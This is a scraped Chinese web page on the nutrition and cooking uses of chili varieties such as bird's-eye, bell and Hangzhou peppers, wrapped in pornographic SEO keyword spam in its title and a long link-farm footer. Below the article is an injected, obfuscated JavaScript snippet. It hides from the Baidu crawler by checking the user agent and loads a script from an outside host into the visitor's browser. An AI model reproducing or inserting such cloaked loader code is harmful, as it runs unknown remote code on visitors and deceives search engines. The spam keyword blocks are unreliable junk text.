久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 飲食 > 食物營養 > 正文

盤點各種辣椒的營養價值

2016-09-04 11:28:51  來源:360常識網   熱度:
導語:彩椒有紅、綠、黃顏色之分。富含水分、維生素C及胡蘿卜素。是辣椒里面美容佳品。口感清脆,甘甜。拌沙拉是最好選擇,黃瓜,元蔥是它的好搭檔。

盤點各種辣椒的營養價值

盤點各種辣椒的營養價值

盤點各種辣椒的營養價值

指天椒

又名朝天椒,也屬茄科,是一種生辣椒中的變種,介于長果與簇生椒之間。是辣椒中最辣的一種。一般質量上乘,夠辣的辣椒面,都是紅色指天驕晾干研磨而成。鮮的朝天椒可以取少量和時蔬大火翻炒味道不錯。

美人椒

也叫欣賞椒。看見名字就知道,這種辣椒長得很漂亮,營養也同樣豐富,每100克美人椒為單位,水分:93.5克;蛋白質:1.0克,低熱。由于美人椒的價格偏高,很多老百姓不作為首選,其味道和尖椒相似。

紅辣茄

又名紅炮椒,每100g紅椒含1360mg胡蘿卜素,青椒則含80mg胡蘿卜素,相比高出17倍。由于顏色好看,很多人用來配菜,做泡菜才是佳品。

彩椒

有紅、綠、黃顏色之分。富含水分、維生素C及胡蘿卜素。是辣椒里面美容佳品。口感清脆,甘甜。拌沙拉是最好選擇,黃瓜,元蔥是它的好搭檔。

青辣茄

又名綠炮椒營養與紅泡椒同樣豐富。只是作為配菜在顏色上講欠佳。比較家常的虎皮尖椒用這種綠泡椒是最好的,味道微辣,適合大眾口味。當然也可以做泡菜,口感清脆。

燈籠椒

俗名青椒。富含胡蘿卜素,由于身體容易吸收胡蘿卜素,營養價值較接近維他命A,尤其對視力衰退的老年人有一定的幫助。沒有辣味,非常清涼,青椒炒雞蛋老少皆宜。

朝天椒

又名三櫻椒,成熟后顏色變為紅色。從日本引進,辣味強,植株緊湊,椒果向上簇生型小辣椒。家常頓肉喜辣味的可以多放幾顆。不過皮膚敏感的女士要酌情。

杭椒

以每100克的杭椒為單位,熱量約含18卡,維他命C有140毫克,富含鈣、磷、鐵及辣椒素。杭椒是盛產于南方的一種辣椒,微辣。杭椒的菜肴上桌率特別高,例如杭椒牛柳、杭椒魚丁等。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 久久精品亚洲欧美日韩精品中文字幕 | 色婷婷中文字幕 | 精品视频久久 | 国产精品久久久久久久免费大片 | v亚洲| 欧美一级片免费观看 | 亚洲区一 | 日韩精品2区 | 成人亚洲精品 | 国产日产久久欧美精品一区 | 欧美日韩一区精品 | 亚洲精品成人 | 国产精品一线二线三线 | 一级激情片 | 精品日韩一区 | 国产一区二区三区在线视频 | 免费的av网站| 久久国产精品视频观看 | 欧美九九九| 凹凸日日摸日日碰夜夜 | 中文字幕天堂 | 99精品久久99久久久久 | 国产综合视频在线观看 | 日韩电影免费 | 国产亚洲精品久久久久动 | 精品亚洲成a人片在线观看 99在线免费视频 | 日本三级视频在线观看 | 欧美激情精品久久久久久变态 | 欧美日韩大片在线观看 | 一区二区av| 国产高清一区二区三区 | 啪一啪免费视频 | 久久精品视频网站 | 日韩精品专区在线影院重磅 | 精品久久久久久久 | 男女视频在线免费观看 | 亚洲情网站| 久久六月| 国内久久精品 | 国产精品中文 | 欧美日韩精品一区二区在线观看 |